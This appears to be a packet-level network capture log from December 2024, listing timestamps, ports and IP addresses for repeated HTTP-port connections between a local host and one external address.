Dec 14, 2024 21:40:15.857170105 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:15.902481079 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:15.961604118 CET	80	49819	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:15.962323904 CET	49819	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:16.077091932 CET	49822	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:16.088598013 CET	80	49819	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:16.088671923 CET	49819	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:16.197835922 CET	80	49822	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:16.198311090 CET	49822	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:16.308795929 CET	49822	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:16.429080963 CET	80	49822	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:16.996172905 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:17.117199898 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:17.418235064 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:17.464765072 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:17.504251957 CET	80	49822	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:17.504688978 CET	49822	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:17.605983019 CET	49828	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:17.628982067 CET	80	49822	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:17.629148006 CET	49822	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:17.726320028 CET	80	49828	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:17.726555109 CET	49828	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:17.840297937 CET	49828	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:17.960746050 CET	80	49828	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:18.215217113 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:18.336339951 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:18.637634993 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:18.683670998 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:19.026623011 CET	80	49828	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:19.026895046 CET	49828	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:19.137113094 CET	49834	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:19.147376060 CET	80	49828	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:19.147778988 CET	49828	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:19.257880926 CET	80	49834	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:19.258217096 CET	49834	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:19.371249914 CET	49834	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:19.371427059 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:19.493681908 CET	80	49834	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:19.493720055 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:19.794680119 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:19.839893103 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:20.574186087 CET	80	49834	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:20.574523926 CET	49834	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:20.652465105 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:20.683878899 CET	49835	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:20.695142984 CET	80	49834	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:20.695382118 CET	49834	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:20.772720098 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:20.804111004 CET	80	49835	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:20.804188013 CET	49835	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:20.917992115 CET	49835	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:21.037935019 CET	80	49835	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:21.073550940 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:21.121016026 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:21.777570009 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:21.897795916 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:22.110311985 CET	80	49835	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:22.110420942 CET	49835	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:22.199224949 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:22.215400934 CET	49841	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:22.230976105 CET	80	49835	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:22.235052109 CET	49835	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:22.246124029 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:22.335464954 CET	80	49841	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:22.335782051 CET	49841	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:22.449265003 CET	49841	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:22.569567919 CET	80	49841	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:22.965017080 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:23.085459948 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:23.386333942 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:23.449120045 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:23.645545959 CET	80	49841	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:23.684304953 CET	49841	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:23.803265095 CET	49847	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:23.808063984 CET	80	49841	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:23.811009884 CET	49841	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:23.923507929 CET	80	49847	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:23.923669100 CET	49847	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:24.027735949 CET	49847	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:24.147722006 CET	80	49847	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:24.199403048 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:24.320086002 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:24.621067047 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:24.761693954 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:25.183661938 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:25.239464045 CET	80	49847	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:25.241859913 CET	49847	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:25.304182053 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:25.355717897 CET	49849	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:25.363909960 CET	80	49847	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:25.365458012 CET	49847	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:25.477015972 CET	80	49849	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:25.477113962 CET	49849	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:25.589935064 CET	49849	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:25.627691031 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:25.712095976 CET	80	49849	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:25.761639118 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:26.360558033 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:26.480987072 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:26.781472921 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:26.807563066 CET	80	49849	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:26.807687044 CET	49849	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:26.871104956 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:26.918344021 CET	49854	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:26.928251028 CET	80	49849	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:26.928436995 CET	49849	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:27.038243055 CET	80	49854	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:27.038579941 CET	49854	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:27.152721882 CET	49854	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:27.215173960 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:27.273051023 CET	80	49854	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:27.335134983 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:27.636210918 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:27.761679888 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:27.965142965 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:28.092041016 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:28.342376947 CET	80	49854	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:28.342639923 CET	49854	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:28.393192053 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:28.449595928 CET	49860	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:28.464778900 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:28.467612982 CET	80	49854	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:28.467758894 CET	49854	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:28.569495916 CET	80	49860	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:28.571135044 CET	49860	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:28.683681965 CET	49860	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:28.780802965 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:28.803666115 CET	80	49860	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:28.901823997 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:29.202733994 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:29.261636972 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:29.542992115 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:29.663007021 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:29.872703075 CET	80	49860	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:29.872822046 CET	49860	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:29.964942932 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:29.980835915 CET	49866	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:29.993191004 CET	80	49860	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:29.993406057 CET	49860	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:30.074321032 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:30.101368904 CET	80	49866	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:30.101541042 CET	49866	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:30.214823961 CET	49866	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:30.334866047 CET	80	49866	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:30.339867115 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:30.460036993 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:30.768205881 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:30.871023893 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:31.136929035 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:31.258841991 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:31.399799109 CET	80	49866	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:31.399949074 CET	49866	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:31.515435934 CET	49867	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:31.524751902 CET	80	49866	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:31.524878025 CET	49866	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:31.559952974 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:31.635288000 CET	80	49867	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:31.635370970 CET	49867	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:31.761755943 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:31.766427040 CET	49867	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:31.889699936 CET	80	49867	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:32.012595892 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:32.132951021 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:32.434250116 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:32.574207067 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:32.777568102 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:32.898267984 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:32.939160109 CET	80	49867	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:32.941466093 CET	49867	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:33.043221951 CET	49873	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:33.062557936 CET	80	49867	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:33.062666893 CET	49867	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:33.163516998 CET	80	49873	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:33.163590908 CET	49873	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:33.199235916 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:33.261657953 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:33.277667999 CET	49873	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:33.397773981 CET	80	49873	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:33.543139935 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:33.663218021 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:33.964266062 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:34.089972973 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:34.339998960 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:34.459872961 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:34.942262888 CET	80	49873	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:34.942305088 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:34.942487955 CET	49873	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:34.942509890 CET	80	49873	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:34.942560911 CET	49873	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:35.043134928 CET	49879	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:35.062948942 CET	80	49873	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:35.063127041 CET	49873	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:35.074521065 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:35.163157940 CET	80	49879	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:35.167243004 CET	49879	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:35.167993069 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:35.277606010 CET	49879	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:35.287820101 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:35.398554087 CET	80	49879	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:35.590198994 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:35.777273893 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:35.855472088 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:35.976208925 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:36.280777931 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:36.371145010 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:36.477694988 CET	80	49879	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:36.477926970 CET	49879	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:36.590008974 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:36.590202093 CET	49880	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:36.599651098 CET	80	49879	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:36.599972010 CET	49879	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:36.709975958 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:36.710261106 CET	80	49880	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:36.710503101 CET	49880	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:36.824342966 CET	49880	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:36.944941998 CET	80	49880	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:37.010754108 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:37.074160099 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:37.215158939 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:37.335443974 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:37.636301994 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:37.761658907 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:37.902350903 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:38.009968996 CET	80	49880	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:38.010266066 CET	49880	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:38.022459984 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:38.121260881 CET	49886	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:38.130906105 CET	80	49880	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:38.131098032 CET	49880	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:38.241362095 CET	80	49886	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:38.241477013 CET	49886	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:38.323546886 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:38.355451107 CET	49886	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:38.371021032 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:38.475336075 CET	80	49886	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:38.574270010 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:38.694205999 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:38.995385885 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:39.074155092 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:39.324233055 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:39.444220066 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:39.544174910 CET	80	49886	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:39.544387102 CET	49886	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:39.652473927 CET	49892	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:39.664683104 CET	80	49886	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:39.664746046 CET	49886	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:39.745347023 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:39.772392988 CET	80	49892	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:39.772629023 CET	49892	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:39.886723042 CET	49892	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:39.918046951 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:40.006854057 CET	80	49892	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:40.037980080 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:40.339185953 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:40.464801073 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:40.522212029 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:40.642210007 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:40.943240881 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:41.071608067 CET	80	49892	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:41.071858883 CET	49892	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:41.089879990 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:41.184729099 CET	49893	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:41.193409920 CET	80	49892	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:41.193558931 CET	49892	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:41.216460943 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:41.304631948 CET	80	49893	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:41.304819107 CET	49893	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:41.337033033 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:41.418373108 CET	49893	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:41.539640903 CET	80	49893	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:41.638087034 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:41.777302980 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:41.824434996 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:41.945051908 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:42.245990038 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:42.371030092 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:42.386779070 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:42.506655931 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:42.602765083 CET	80	49893	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:42.602982044 CET	49893	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:42.715131044 CET	49899	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:42.723391056 CET	80	49893	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:42.723587990 CET	49893	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:42.808510065 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:42.835108042 CET	80	49899	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:42.835201979 CET	49899	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:42.964781046 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:42.966475964 CET	49899	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:42.969057083 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:43.087285042 CET	80	49899	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:43.089682102 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:43.390742064 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:43.558795929 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:43.679075003 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:43.982323885 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:44.074162006 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:44.132848978 CET	80	49899	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:44.133090019 CET	49899	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:44.230509996 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:44.246319056 CET	49905	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:44.253480911 CET	80	49899	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:44.253717899 CET	49899	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:44.350368977 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:44.366730928 CET	80	49905	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:44.366955996 CET	49905	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:44.480521917 CET	49905	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:44.600373983 CET	80	49905	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:44.651796103 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:44.777286053 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:44.777405977 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:44.897887945 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:45.198558092 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:45.277282000 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:45.371619940 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:45.491523027 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:45.697948933 CET	80	49905	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:45.698401928 CET	49905	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:45.819499016 CET	80	49905	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:45.821012974 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:45.821208954 CET	49905	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:45.831799030 CET	49908	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:45.871893883 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:45.951893091 CET	80	49908	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:45.954169035 CET	49908	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:46.029654980 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:46.083806038 CET	49908	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:46.149868965 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:46.204312086 CET	80	49908	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:46.451947927 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:46.574323893 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:46.652410984 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:46.772897959 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:47.073734999 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:47.246545076 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:47.274607897 CET	80	49908	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:47.274830103 CET	49908	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:47.368236065 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:47.387063026 CET	49912	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:47.398550034 CET	80	49908	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:47.398726940 CET	49908	80	192.168.2.4	154.216.16.83
